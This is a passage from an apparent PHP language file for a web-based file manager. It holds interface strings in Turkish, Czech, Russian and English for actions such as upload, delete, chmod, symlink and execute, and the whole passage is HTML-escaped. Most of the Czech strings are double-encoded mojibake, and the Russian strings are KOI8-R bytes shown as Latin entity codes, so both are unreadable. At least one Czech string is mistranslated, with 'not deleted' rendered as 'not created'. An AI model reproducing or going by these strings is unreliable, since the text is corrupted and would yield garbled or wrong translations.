=&gt; '&amp;#231;ikti yok',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Kullanici',&lt;br /&gt;'password' =&gt; 'Sifre',&lt;br /&gt;'add' =&gt; 'ekle',&lt;br /&gt;'add_basic_auth' =&gt; 'ekle basit-authentification',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" y&amp;#252;klendi.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" y&amp;#252;klenemedi.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" kullanilmakta.',&lt;br /&gt;'created' =&gt; '"[%1]" olusturuldu.',&lt;br /&gt;'not_created' =&gt; '"[%1]" olusturulamadi.',&lt;br /&gt;'really_delete' =&gt; 'Bu dosyalari silmek istediginizden eminmisiniz?',&lt;br /&gt;'deleted' =&gt; "Bu dosyalar silindi:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Bu dosyalar silinemedi:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Adi degisen dosya:',&lt;br /&gt;'renamed' =&gt; '"[%1]" adili dosyanin yeni adi "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] adi degistirilemedi "[%2]" ile.',&lt;br /&gt;'move_files' =&gt; 'Tasinan dosyalar:',&lt;br /&gt;'moved' =&gt; "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Kopyalanan dosyalar:',&lt;br /&gt;'copied' =&gt; "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" d&amp;#252;zenlenemiyor.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" basariyla &amp;#231;alistirildi:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" &amp;#231;alistirilamadi:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" kaydedildi.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" kaydedilemedi.',&lt;br /&gt;'symlinked' =&gt; '"[%2]" den "[%1]" e k&amp;#253;sayol olu&amp;#254;turuldu.',&lt;br /&gt;'not_symlinked' =&gt; '"[%2]"den "[%1]" e k&amp;#253;sayol olu&amp;#254;turulamad&amp;#253;.',&lt;br /&gt;'permission_for' =&gt; 'Izinler "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Izinler "[%1]" degistirildi [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Izinler "[%1]" degistirilemedi [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" okunamiyor.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'cs':&lt;br /&gt;&lt;br /&gt;        $date_format = 'd.m.y H:i:s';&lt;br /&gt;        $word_charset = 'UTF-8';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Adres&amp;#195;&amp;#161;&amp;#197;â„¢',&lt;br /&gt;'file' =&gt; 'Soubor',&lt;br /&gt;'filename' =&gt; 'Jm&amp;#195;Â©no souboru',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Velikost',&lt;br /&gt;'permission' =&gt; 'Pr&amp;#195;&amp;#161;va',&lt;br /&gt;'owner' =&gt; 'Vlastn&amp;#195;Â­k',&lt;br /&gt;'group' =&gt; 'Skupina',&lt;br /&gt;'other' =&gt; 'Ostatn&amp;#195;Â­',&lt;br /&gt;'functions' =&gt; 'Funkce',&lt;br /&gt;&lt;br /&gt;'read' =&gt; '&amp;#196;&amp;#338;ten&amp;#195;Â­',&lt;br /&gt;'write' =&gt; 'Z&amp;#195;&amp;#161;pis',&lt;br /&gt;'execute' =&gt; 'Spou&amp;#197;&amp;#161;t&amp;#196;â€ºn&amp;#195;Â­',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'Vytvo&amp;#197;â„¢it symbolick&amp;#195;&amp;#189; odkaz',&lt;br /&gt;'delete' =&gt; 'Smazat',&lt;br /&gt;'rename' =&gt; 'P&amp;#197;â„¢ejmenovat',&lt;br /&gt;'move' =&gt; 'P&amp;#197;â„¢esunout',&lt;br /&gt;'copy' =&gt; 'Zkop&amp;#195;Â­rovat',&lt;br /&gt;'edit' =&gt; 'Otev&amp;#197;â„¢&amp;#195;Â­t',&lt;br /&gt;'download' =&gt; 'St&amp;#195;&amp;#161;hnout',&lt;br /&gt;'upload' =&gt; 'Nahraj na server',&lt;br /&gt;'create' =&gt; 'Vytvo&amp;#197;â„¢it',&lt;br /&gt;'change' =&gt; 'Zm&amp;#196;â€ºnit',&lt;br /&gt;'save' =&gt; 'Ulo&amp;#197;&amp;#190;it',&lt;br /&gt;'set' =&gt; 'Nastavit',&lt;br /&gt;'reset' =&gt; 'zp&amp;#196;â€ºt',&lt;br /&gt;'relative' =&gt; 'Relatif',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Ano',&lt;br /&gt;'no' =&gt; 'Ne',&lt;br /&gt;'back' =&gt; 'Zp&amp;#196;â€ºt',&lt;br /&gt;'destination' =&gt; 'Destination',&lt;br /&gt;'symlink' =&gt; 'Symbolick&amp;#195;&amp;#189; odkaz',&lt;br /&gt;'no_output' =&gt; 'Pr&amp;#195;&amp;#161;zdn&amp;#195;&amp;#189; v&amp;#195;&amp;#189;stup',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'U&amp;#197;&amp;#190;ivatel',&lt;br /&gt;'password' =&gt; 'Heslo',&lt;br /&gt;'add' =&gt; 'P&amp;#197;â„¢idat',&lt;br /&gt;'add_basic_auth' =&gt; 'p&amp;#197;â„¢idej z&amp;#195;&amp;#161;kladn&amp;#195;Â­ autentizaci',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; 'Soubor "[%1]" byl nahr&amp;#195;&amp;#161;n na server.',&lt;br /&gt;'not_uploaded' =&gt; 'Soubor "[%1]" nebyl nahr&amp;#195;&amp;#161;n na server.',&lt;br /&gt;'already_exists' =&gt; 'Soubor "[%1]" u&amp;#197;&amp;#190; exituje.',&lt;br /&gt;'created' =&gt; 'Soubor "[%1]" byl vytvo&amp;#197;â„¢en.',&lt;br /&gt;'not_created' =&gt; 'Soubor "[%1]" nemohl b&amp;#195;&amp;#189;t  vytvo&amp;#197;â„¢en.',&lt;br /&gt;'really_delete' =&gt; 'Vymazat soubor?',&lt;br /&gt;'deleted' =&gt; "Byly vymaz&amp;#195;&amp;#161;ny tyto soubory:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Tyto soubory nemohly b&amp;#195;&amp;#189;t vytvo&amp;#197;â„¢eny:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'P&amp;#197;â„¢ejmenuj soubory:',&lt;br /&gt;'renamed' =&gt; 'Soubor "[%1]" byl p&amp;#197;â„¢ejmenov&amp;#195;&amp;#161;n na "[%2]".',&lt;br /&gt;'not_renamed' =&gt; 'Soubor "[%1]" nemohl b&amp;#195;&amp;#189;t p&amp;#197;â„¢ejmenov&amp;#195;&amp;#161;n na "[%2]".',&lt;br /&gt;'move_files' =&gt; 'P&amp;#197;â„¢em&amp;#195;Â­stit tyto soubory:',&lt;br /&gt;'moved' =&gt; "Tyto soubory byly p&amp;#197;â„¢em&amp;#195;Â­st&amp;#196;â€ºny do \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Tyto soubory nemohly b&amp;#195;&amp;#189;t p&amp;#197;â„¢em&amp;#195;Â­st&amp;#196;â€ºny do \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Zkop&amp;#195;Â­rovat tyto soubory:',&lt;br /&gt;'copied' =&gt; "Tyto soubory byly zkop&amp;#195;Â­rov&amp;#195;&amp;#161;ny do \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Tyto soubory nemohly b&amp;#195;&amp;#189;t zkop&amp;#195;Â­rov&amp;#195;&amp;#161;ny do \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; 'Soubor "[%1]" nemohl b&amp;#195;&amp;#189;t otev&amp;#197;â„¢en.',&lt;br /&gt;'executed' =&gt; "SOubor \"[%1]\" byl spu&amp;#197;&amp;#161;t&amp;#196;â€ºn :\n{%2}",&lt;br /&gt;'not_executed' =&gt; "Soubor \"[%1]\" nemohl b&amp;#195;&amp;#189;t spu&amp;#197;&amp;#161;t&amp;#196;â€ºn:\n{%2}",&lt;br /&gt;'saved' =&gt; 'Soubor "[%1]" byl ulo&amp;#197;&amp;#190;en.',&lt;br /&gt;'not_saved' =&gt; 'Soubor "[%1]" nemohl b&amp;#195;&amp;#189;t ulo&amp;#197;&amp;#190;en.',&lt;br /&gt;'symlinked' =&gt; 'Byl vyvo&amp;#197;â„¢en symbolick&amp;#195;&amp;#189; odkaz "[%2]" na soubor "[%1]".',&lt;br /&gt;'not_symlinked' =&gt; 'Symbolick&amp;#195;&amp;#189; odkaz "[%2]" na soubor "[%1]" nemohl b&amp;#195;&amp;#189;t vytvo&amp;#197;â„¢en.',&lt;br /&gt;'permission_for' =&gt; 'Pr&amp;#195;&amp;#161;va k "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Pr&amp;#195;&amp;#161;va k "[%1]" byla zm&amp;#196;â€ºn&amp;#196;â€ºna na [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Pr&amp;#195;&amp;#161;va k "[%1]" nemohla b&amp;#195;&amp;#189;t zm&amp;#196;â€ºn&amp;#196;â€ºna na [%2].',&lt;br /&gt;'not_readable' =&gt; 'Soubor "[%1]" nen&amp;#195;Â­ mo&amp;#197;&amp;#190;no p&amp;#197;â„¢e&amp;#196;&amp;#141;&amp;#195;Â­st.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'ru':&lt;br /&gt;&lt;br /&gt;        $date_format = 'd.m.y H:i:s';&lt;br /&gt;        $word_charset = 'KOI8-R';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; '&amp;#235;&amp;#193;&amp;#212;&amp;#193;&amp;#204;&amp;#207;&amp;#199;',&lt;br /&gt;'file' =&gt; '&amp;#230;&amp;#193;&amp;#202;&amp;#204;',&lt;br /&gt;'filename' =&gt; '&amp;#233;&amp;#205;&amp;#209; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#193;',&lt;br /&gt;&lt;br /&gt;'size' =&gt; '&amp;#242;&amp;#193;&amp;#218;&amp;#205;&amp;#197;&amp;#210;',&lt;br /&gt;'permission' =&gt; '&amp;#240;&amp;#210;&amp;#193;&amp;#215;&amp;#193;',&lt;br /&gt;'owner' =&gt; '&amp;#232;&amp;#207;&amp;#218;&amp;#209;&amp;#201;&amp;#206;',&lt;br /&gt;'group' =&gt; '&amp;#231;&amp;#210;&amp;#213;&amp;#208;&amp;#208;&amp;#193;',&lt;br /&gt;'other' =&gt; '&amp;#228;&amp;#210;&amp;#213;&amp;#199;&amp;#201;&amp;#197;',&lt;br /&gt;'functions' =&gt; '&amp;#230;&amp;#213;&amp;#206;&amp;#203;&amp;#195;&amp;#201;&amp;#209;',&lt;br /&gt;&lt;br /&gt;'read' =&gt; '&amp;#222;&amp;#201;&amp;#212;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'write' =&gt; '&amp;#208;&amp;#201;&amp;#211;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'execute' =&gt; '&amp;#215;&amp;#217;&amp;#208;&amp;#207;&amp;#204;&amp;#206;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; '&amp;#243;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#212;&amp;#216; &amp;#211;&amp;#201;&amp;#205;&amp;#204;&amp;#201;&amp;#206;&amp;#203;',&lt;br /&gt;'delete' =&gt; '&amp;#213;&amp;#196;&amp;#193;&amp;#204;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;'rename' =&gt; '&amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#201;&amp;#205;&amp;#197;&amp;#206;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'move' =&gt; '&amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#196;&amp;#215;&amp;#201;&amp;#206;&amp;#213;&amp;#212;&amp;#216;',&lt;br /&gt;'copy' =&gt; '&amp;#203;&amp;#207;&amp;#208;&amp;#201;&amp;#210;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'edit' =&gt; '&amp;#210;&amp;#197;&amp;#196;&amp;#193;&amp;#203;&amp;#212;&amp;#201;&amp;#210;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'download' =&gt; '&amp;#211;&amp;#203;&amp;#193;&amp;#222;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'upload' =&gt; '&amp;#218;&amp;#193;&amp;#203;&amp;#193;&amp;#222;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'create' =&gt; '&amp;#211;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#212;&amp;#216;',&lt;br /&gt;'change' =&gt; '&amp;#208;&amp;#207;&amp;#205;&amp;#197;&amp;#206;&amp;#209;&amp;#212;&amp;#216;',&lt;br /&gt;'save' =&gt; '&amp;#211;&amp;#207;&amp;#200;&amp;#210;&amp;#193;&amp;#206;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;'set' =&gt; '&amp;#213;&amp;#211;&amp;#212;&amp;#193;&amp;#206;&amp;#207;&amp;#215;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;'reset' =&gt; '&amp;#211;&amp;#194;&amp;#210;&amp;#207;&amp;#211;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;'relative' =&gt; '&amp;#207;&amp;#212;&amp;#206;&amp;#207;&amp;#211;&amp;#201;&amp;#212;&amp;#197;&amp;#204;&amp;#216;&amp;#206;&amp;#217;&amp;#202; &amp;#208;&amp;#213;&amp;#212;&amp;#216; &amp;#203; &amp;#195;&amp;#197;&amp;#204;&amp;#201;',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; '&amp;#196;&amp;#193;',&lt;br /&gt;'no' =&gt; '&amp;#206;&amp;#197;&amp;#212;',&lt;br /&gt;'back' =&gt; '&amp;#206;&amp;#193;&amp;#218;&amp;#193;&amp;#196;',&lt;br /&gt;'destination' =&gt; '&amp;#195;&amp;#197;&amp;#204;&amp;#216;',&lt;br /&gt;'symlink' =&gt; '&amp;#211;&amp;#201;&amp;#205;&amp;#215;&amp;#207;&amp;#204;&amp;#201;&amp;#222;&amp;#197;&amp;#211;&amp;#203;&amp;#201;&amp;#202; &amp;#204;&amp;#201;&amp;#206;&amp;#203;',&lt;br /&gt;'no_output' =&gt; '&amp;#206;&amp;#197;&amp;#212; &amp;#215;&amp;#217;&amp;#215;&amp;#207;&amp;#196;&amp;#193;',&lt;br /&gt;&lt;br /&gt;'user' =&gt; '&amp;#240;&amp;#207;&amp;#204;&amp;#216;&amp;#218;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#197;&amp;#204;&amp;#216;',&lt;br /&gt;'password' =&gt; '&amp;#240;&amp;#193;&amp;#210;&amp;#207;&amp;#204;&amp;#216;',&lt;br /&gt;'add' =&gt; '&amp;#196;&amp;#207;&amp;#194;&amp;#193;&amp;#215;&amp;#201;&amp;#212;&amp;#216;',&lt;br /&gt;'add_basic_auth' =&gt; '&amp;#228;&amp;#207;&amp;#194;&amp;#193;&amp;#215;&amp;#201;&amp;#212;&amp;#216; HTTP-Basic-Auth',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" &amp;#194;&amp;#217;&amp;#204; &amp;#218;&amp;#193;&amp;#203;&amp;#193;&amp;#222;&amp;#197;&amp;#206;.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#218;&amp;#193;&amp;#203;&amp;#193;&amp;#222;&amp;#209;&amp;#212;&amp;#216;.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" &amp;#213;&amp;#214;&amp;#197; &amp;#211;&amp;#213;&amp;#221;&amp;#197;&amp;#211;&amp;#212;&amp;#215;&amp;#213;&amp;#197;&amp;#212;.',&lt;br /&gt;'created' =&gt; '"[%1]" &amp;#194;&amp;#217;&amp;#204; &amp;#211;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#206;.',&lt;br /&gt;'not_created' =&gt; '"[%1]" &amp;#206;&amp;#197; &amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#211;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#212;&amp;#216;.',&lt;br /&gt;'really_delete' =&gt; '&amp;#228;&amp;#197;&amp;#202;&amp;#211;&amp;#212;&amp;#215;&amp;#201;&amp;#212;&amp;#197;&amp;#204;&amp;#216;&amp;#206;&amp;#207; &amp;#220;&amp;#212;&amp;#207;&amp;#212; &amp;#198;&amp;#193;&amp;#202;&amp;#204; &amp;#213;&amp;#196;&amp;#193;&amp;#204;&amp;#201;&amp;#212;&amp;#216;?',&lt;br /&gt;'deleted' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#194;&amp;#217;&amp;#204;&amp;#201; &amp;#213;&amp;#196;&amp;#193;&amp;#204;&amp;#197;&amp;#206;&amp;#217;:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#206;&amp;#197; &amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#213;&amp;#196;&amp;#193;&amp;#204;&amp;#201;&amp;#212;&amp;#216;:\n[%1]",&lt;br /&gt;'rename_file' =&gt; '&amp;#240;&amp;#197;&amp;#210;&amp;#197;&amp;#201;&amp;#205;&amp;#197;&amp;#206;&amp;#207;&amp;#215;&amp;#217;&amp;#215;&amp;#193;&amp;#192; &amp;#198;&amp;#193;&amp;#202;&amp;#204;:',&lt;br /&gt;'renamed' =&gt; '"[%1]" &amp;#194;&amp;#217;&amp;#204; &amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#201;&amp;#205;&amp;#197;&amp;#206;&amp;#207;&amp;#215;&amp;#193;&amp;#206; &amp;#206;&amp;#193; "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#201;&amp;#205;&amp;#197;&amp;#206;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#216; &amp;#206;&amp;#193; "[%2]".',&lt;br /&gt;'move_files' =&gt; '&amp;#240;&amp;#197;&amp;#210;&amp;#197;&amp;#196;&amp;#215;&amp;#201;&amp;#199;&amp;#193;&amp;#192; &amp;#211;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217;:',&lt;br /&gt;'moved' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#194;&amp;#217;&amp;#204;&amp;#201; &amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#196;&amp;#215;&amp;#201;&amp;#206;&amp;#213;&amp;#212;&amp;#217; &amp;#215; &amp;#203;&amp;#193;&amp;#212;&amp;#193;&amp;#204;&amp;#207;&amp;#199; \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#208;&amp;#197;&amp;#210;&amp;#197;&amp;#196;&amp;#215;&amp;#201;&amp;#206;&amp;#213;&amp;#212;&amp;#216; &amp;#215; &amp;#203;&amp;#193;&amp;#212;&amp;#193;&amp;#204;&amp;#207;&amp;#199; \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; '&amp;#235;&amp;#207;&amp;#208;&amp;#201;&amp;#210;&amp;#213;&amp;#192; &amp;#211;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217;:',&lt;br /&gt;'copied' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#194;&amp;#217;&amp;#204;&amp;#217; &amp;#211;&amp;#203;&amp;#207;&amp;#208;&amp;#201;&amp;#210;&amp;#207;&amp;#215;&amp;#193;&amp;#206;&amp;#217; &amp;#215; &amp;#203;&amp;#193;&amp;#212;&amp;#193;&amp;#204;&amp;#207;&amp;#199; \"[%2]\" :\n[%1]",&lt;br /&gt;'not_copied' =&gt; "&amp;#243;&amp;#204;&amp;#197;&amp;#196;&amp;#213;&amp;#192;&amp;#221;&amp;#201;&amp;#197; &amp;#198;&amp;#193;&amp;#202;&amp;#204;&amp;#217; &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#211;&amp;#203;&amp;#207;&amp;#208;&amp;#201;&amp;#210;&amp;#207;&amp;#215;&amp;#193;&amp;#212;&amp;#216; &amp;#215; &amp;#203;&amp;#193;&amp;#212;&amp;#193;&amp;#204;&amp;#207;&amp;#199; \"[%2]\" :\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" &amp;#206;&amp;#197; &amp;#205;&amp;#207;&amp;#214;&amp;#197;&amp;#212; &amp;#194;&amp;#217;&amp;#212;&amp;#216; &amp;#207;&amp;#212;&amp;#210;&amp;#197;&amp;#196;&amp;#193;&amp;#203;&amp;#212;&amp;#201;&amp;#210;&amp;#207;&amp;#215;&amp;#193;&amp;#206;.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" &amp;#194;&amp;#217;&amp;#204; &amp;#213;&amp;#211;&amp;#208;&amp;#197;&amp;#219;&amp;#206;&amp;#207; &amp;#201;&amp;#211;&amp;#208;&amp;#207;&amp;#204;&amp;#206;&amp;#197;&amp;#206;:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#218;&amp;#193;&amp;#208;&amp;#213;&amp;#211;&amp;#212;&amp;#201;&amp;#212;&amp;#216; &amp;#206;&amp;#193; &amp;#201;&amp;#211;&amp;#208;&amp;#207;&amp;#204;&amp;#206;&amp;#197;&amp;#206;&amp;#201;&amp;#197;:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" &amp;#194;&amp;#217;&amp;#204; &amp;#211;&amp;#207;&amp;#200;&amp;#210;&amp;#193;&amp;#206;&amp;#197;&amp;#206;.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#211;&amp;#207;&amp;#200;&amp;#210;&amp;#193;&amp;#206;&amp;#201;&amp;#212;&amp;#216;.',&lt;br /&gt;'symlinked' =&gt; '&amp;#243;&amp;#201;&amp;#205;&amp;#204;&amp;#201;&amp;#206;&amp;#203; &amp;#211; "[%2]" &amp;#206;&amp;#193; "[%1]" &amp;#194;&amp;#217;&amp;#204; &amp;#211;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#206;.',&lt;br /&gt;'not_symlinked' =&gt; '&amp;#238;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#211;&amp;#196;&amp;#197;&amp;#204;&amp;#193;&amp;#212;&amp;#216; &amp;#211;&amp;#201;&amp;#205;&amp;#204;&amp;#201;&amp;#206;&amp;#203; &amp;#211; "[%2]" &amp;#206;&amp;#193; "[%1]".',&lt;br /&gt;'permission_for' =&gt; '&amp;#240;&amp;#210;&amp;#193;&amp;#215;&amp;#193; &amp;#196;&amp;#207;&amp;#211;&amp;#212;&amp;#213;&amp;#208;&amp;#193; "[%1]":',&lt;br /&gt;'permission_set' =&gt; '&amp;#240;&amp;#210;&amp;#193;&amp;#215;&amp;#193; &amp;#196;&amp;#207;&amp;#211;&amp;#212;&amp;#213;&amp;#208;&amp;#193; "[%1]" &amp;#194;&amp;#217;&amp;#204;&amp;#201; &amp;#201;&amp;#218;&amp;#205;&amp;#197;&amp;#206;&amp;#197;&amp;#206;&amp;#217; &amp;#206;&amp;#193; [%2].',&lt;br /&gt;'permission_not_set' =&gt; '&amp;#238;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#194;&amp;#217;&amp;#204;&amp;#207; &amp;#201;&amp;#218;&amp;#205;&amp;#197;&amp;#206;&amp;#201;&amp;#212;&amp;#216; &amp;#208;&amp;#210;&amp;#193;&amp;#215;&amp;#193; &amp;#196;&amp;#207;&amp;#211;&amp;#212;&amp;#213;&amp;#208;&amp;#193; &amp;#203; "[%1]" &amp;#206;&amp;#193; [%2] .',&lt;br /&gt;'not_readable' =&gt; '"[%1]" &amp;#206;&amp;#197;&amp;#215;&amp;#207;&amp;#218;&amp;#205;&amp;#207;&amp;#214;&amp;#206;&amp;#207; &amp;#208;&amp;#210;&amp;#207;&amp;#222;&amp;#201;&amp;#212;&amp;#193;&amp;#212;&amp;#216;.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'en':&lt;br /&gt;    default:&lt;br /&gt;&lt;br /&gt;        $date_format = 'n/j/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Directory',&lt;br /&gt;'file' =&gt; 'File',&lt;br /&gt;'filename' =&gt; 'Filename',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Size',&lt;br /&gt;'permission' =&gt; 'Permission',&lt;br /&gt;'owner' =&gt; 'Owner',&lt;br /&gt;'group' =&gt; 'Group',&lt;br /&gt;'other' =&gt; 'Others',&lt;br /&gt;'functions' =&gt; 'Functions',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'read',&lt;br /&gt;'write' =&gt; 'write',&lt;br /&gt;'execute' =&gt; 'execute',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'create symlink',&lt;br /&gt;'delete' =&gt; 'delete',&lt;br /&gt;'rename' =&gt; 'rename',&lt;br /&gt;'move' =&gt; 'move',&lt;br /&gt;'copy' =&gt; 'copy',&lt;br /&gt;'edit' =&gt; 'edit',&lt;br /&gt;'download' =&gt; 'download',&lt;br /&gt;'upload' =&gt; 'upload',&lt;br /&gt;'create' =&gt; 'create',&lt;br /&gt;'change' =&gt; 'change',&lt;br /&gt;'save' =&gt; 'save',&lt;br /&gt;'set' =&gt; 'set',&lt;br /&gt;'reset' =&gt; 'reset',&lt;br /&gt;'relative' =&gt; 'Relative path to target',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Yes',&lt;br /&gt;'no' =&gt; 'No',&lt;br /&gt;'back' =&gt; 'back',&lt;br /&gt;'destination' =&gt; 'Destination',&lt;br /&gt;'symlink' =&gt; 'Symlink',&lt;br /&gt;'no_output' =&gt; 'no output',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'User',&lt;br /&gt;'password' =&gt; 'Password',&lt;br /&gt;'add' =&gt; 'add',&lt;br /&gt;'add_basic_auth' =&gt; 'add basic-authentification',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" has been uploaded.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" could not be uploaded.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" already exists.',&lt;br /&gt;'created' =&gt; '"[%1]" has been created.',&lt;br /&gt;'not_created' =&gt; '"[%1]" could not be created.',&lt;br /&gt;'really_delete' =&gt; 'Delete these files?',&lt;br /&gt;'deleted' =&gt; "These files 